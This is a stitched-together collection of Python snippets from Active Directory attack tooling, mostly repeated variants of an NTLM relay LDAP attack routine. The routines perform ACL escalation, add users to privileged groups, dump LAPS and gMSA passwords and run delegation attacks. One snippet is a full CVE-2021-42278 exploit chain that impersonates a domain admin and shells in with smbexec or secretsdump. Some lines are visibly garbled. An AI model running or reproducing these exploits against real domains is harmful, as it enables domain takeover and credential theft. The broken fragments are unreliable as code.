def __init__(self, ldap_server, ldap_session, delegate_to): super(RBCD, self).__init__() self.ldap_server = ldap_server self.ldap_session = ldap_session self.delegate_from = None self.delegate_to = delegate_to self.SID_delegate_from = None self.DN_delegate_to = None logging.debug('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() cnf.basepath = None self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
def getUsersInfo(user, password, domain, ip): print("[*] Trying to dump users info with LDAP...") s = ldd.Server(ip, get_info=ldd.ALL) c = ldd.Connection(s, user=f"{domain}\\{user}", password=password, authentication=ldd.NTLM) if not c.bind(): print("[!] Could not bind to LDAP with specified credentials") exit(1) print("[+] Successful bind to LDAP with specified credentials") cnf = ldd.domainDumpConfig() cnf.outputhtml = False cnf.outputjson = False dd = ldd.domainDumper(s, c, cnf) print("[*] Dumping users info...") dd.users = dd.getAllUsers() dd.groups = dd.getAllGroups() rw = ldd.reportWriter(cnf) rw.generateUsersReport(dd) os.rename("domain_users.grep", "USERS_INFO.txt") print("[+] Successful dump of the users information in USERS_INFO.txt")
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) if self.config.interactive: if self.tcp_shell is not None: LOG.info( 'Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) # Start listening and launch interactive shell. self.tcp_shell.listen() ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) ldap_shell.cmdloop() return # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info( 'Assuming relayed user has privileges to escalate a user via ACL attack' ) privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') else: userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user.') # Perform the ACL attack else: self.aclAttack(userDn, domainDumper) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') # Perform the Group attack else: userDn, userSid = result self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') # Perform the Group attack else: self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Dump LAPS Passwords if self.config.dumplaps: LOG.info("Attempting to dump LAPS passwords") success = self.client.search( domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName', 'ms-MCS-AdmPwd']) if success: fd = None filename = "laps-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: dn = "DN:" + entry['attributes']['distinguishedname'] passwd = "Password:"******"a+") count += 1 LOG.debug(dn) LOG.debug(passwd) fd.write(dn) fd.write("\n") fd.write(passwd) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any LAPS passwords" % self.username) else: LOG.info( "Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) fd.close() #Dump gMSA Passwords if self.config.dumpgmsa: LOG.info("Attempting to dump gMSA passwords") success = self.client.search( domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName', 'msDS-ManagedPassword']) if success: fd = None filename = "gmsa-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: sam = entry['attributes']['sAMAccountName'] data = entry['attributes']['msDS-ManagedPassword'] blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) hash = MD4.new() hash.update(blob['CurrentPassword'][:-2]) passwd = binascii.hexlify( hash.digest()).decode("utf-8") userpass = sam + ':::' + passwd LOG.info(userpass) count += 1 if fd is None: fd = open(filename, "a+") fd.write(userpass) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any gMSA passwords" % self.username) else: LOG.info( "Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) fd.close() # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) # Computer well-known GUID # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen computerscontainer = [ entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"] if b"AA312825768811D1ADED00C04FD8D5CD" in entry ][0] LOG.debug("Computer container is {}".format(computerscontainer)) self.addComputer(computerscontainer, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
targetsam = '{}$'.format(targetcomputer) fakecomputersam = '{}$'.format(fakecomputer) c = NTLMRelayxConfig() c.addcomputer = fakecomputer c.target = dc logger.init() logging.getLogger().setLevel(logging.INFO) logging.info('Starting Resource Based Constrained Delegation Attack against {}'.format(targetsam)) logging.info('Initializing LDAP connection to {}'.format(dc)) #tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2) serv = ldap3.Server(dc, tls=False, get_info=ldap3.ALL) logging.info('Using {} account with password ***'.format(attackeraccount[0])) conn = ldap3.Connection(serv, user=attackeraccount[0], password=attackeraccount[1], authentication=ldap3.SIMPLE) conn.bind() logging.info('LDAP bind OK') logging.info('Initializing domainDumper()') cnf = ldapdomaindump.domainDumpConfig() cnf.basepath = c.lootdir dd = ldapdomaindump.domainDumper(serv, conn, cnf) logging.info('Initializing LDAPAttack()') la = LDAPAttack(c, conn, attackeraccount[0].replace('\\', '/')) logging.info('Writing SECURITY_DESCRIPTOR related to `{}` fake computer into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `{}`'.format(fakecomputer, targetcomputer)) la.delegateAttack(fakecomputersam, targetsam, dd, sid=None)
def samtheadmin(username, password, domain, options): new_computer_name = f"SAMTHEADMIN-{random.randint(1,100)}$" new_computer_password = ''.join( random.choice(characters) for _ in range(12)) domain, username, password, lmhash, nthash = parse_identity(options) ldap_server, ldap_session = init_ldap_session(options, domain, username, password, lmhash, nthash) cnf = ldapdomaindump.domainDumpConfig() cnf.basepath = None domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) MachineAccountQuota = 10 for i in domain_dumper.getDomainPolicy(): MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota'])) rootsid = domain_dumper.getRootSid() dcinfo = get_dc_host(ldap_session, domain_dumper) if not len(dcinfo['name']): logging.critical("Cannot get domain info") exit() dc_host = dcinfo['name'][0].lower() dcfull = dcinfo['dNSHostName'][0].lower() logging.info(f'Selected Target {dcfull}') domainAdmins = get_domain_admins(ldap_session, domain_dumper) random_domain_admin = random.choice(domainAdmins) logging.info(f'Total Domain Admins {len(domainAdmins)}') logging.info(f'will try to impersonat {random_domain_admin}') # udata = get_user_info(username, ldap_session, domain_dumper) if MachineAccountQuota < 0: logging.critical( f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQuota}' ) exit() else: logging.info( f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}') logging.info(f'Adding Computer Account "{new_computer_name}"') logging.info( f'MachineAccount "{new_computer_name}" password = {new_computer_password}' ) # Creating Machine Account addmachineaccount = AddComputerSAMR(username, password, domain, options, computer_name=new_computer_name, computer_pass=new_computer_password) addmachineaccount.run() # CVE-2021-42278 new_machine_dn = None dn = get_user_info(new_computer_name, ldap_session, domain_dumper) if dn: new_machine_dn = str(dn['dn']) logging.info(f'{new_computer_name} object = {new_machine_dn}') if new_machine_dn: ldap_session.modify( new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]}) if ldap_session.result['result'] == 0: logging.info(f'{new_computer_name} sAMAccountName == {dc_host}') else: logging.error('Cannot rename the machine account , target patched') exit() # Getting a ticket getting_tgt = GETTGT(dc_host, new_computer_password, domain, options) getting_tgt.run() dcticket = str(dc_host + '.ccache') # Restoring Old Values logging.info(f"Resting the machine account to {new_computer_name}") dn = get_user_info(dc_host, ldap_session, domain_dumper) ldap_session.modify( str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]}) if ldap_session.result['result'] == 0: logging.info( f'Restored {new_computer_name} sAMAccountName to original value') else: logging.error('Cannot restore the old name lol') os.environ["KRB5CCNAME"] = dcticket executer = GETST(None, None, domain, options, impersonate_target=random_domain_admin, target_spn=f"cifs/{dcfull}") executer.run() adminticket = str(random_domain_admin + '.ccache') os.environ["KRB5CCNAME"] = adminticket # will do something else later on fbinary = "/usr/bin/impacket-smbexec" if options.dump: fbinary = "/usr/bin/impacket-secretsdump" getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' " os.system(getashell) os.system("rm *.ccache")
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error( 'Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') privs = {} privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the ACL attack self.aclAttack(userDn, domainDumper) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user, aborting.') return userDn, userSid = result # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') return # Perform the Group attack self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) return else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) if self.config.interactive: if self.tcp_shell is not None: LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) # Start listening and launch interactive shell. self.tcp_shell.listen() ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) ldap_shell.cmdloop() return # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') else: userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user.') # Perform the ACL attack else: self.aclAttack(userDn, domainDumper) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') # Perform the Group attack else: userDn, userSid = result self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user, aborting.') # Perform the Group attack else: self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Dump LAPS Passwords if self.config.dumplaps: LOG.info("Attempting to dump LAPS passwords") success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd']) if success: fd = None filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999)) count = 0 for entry in self.client.response: try: dn = "DN:" + entry['attributes']['distinguishedname'] passwd = "Password:"******"a+") count += 1 LOG.debug(dn) LOG.debug(passwd) fd.write(dn) fd.write("\n") fd.write(passwd) fd.write("\n") except: continue if fd is None: LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username) else: LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) fd.close() # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')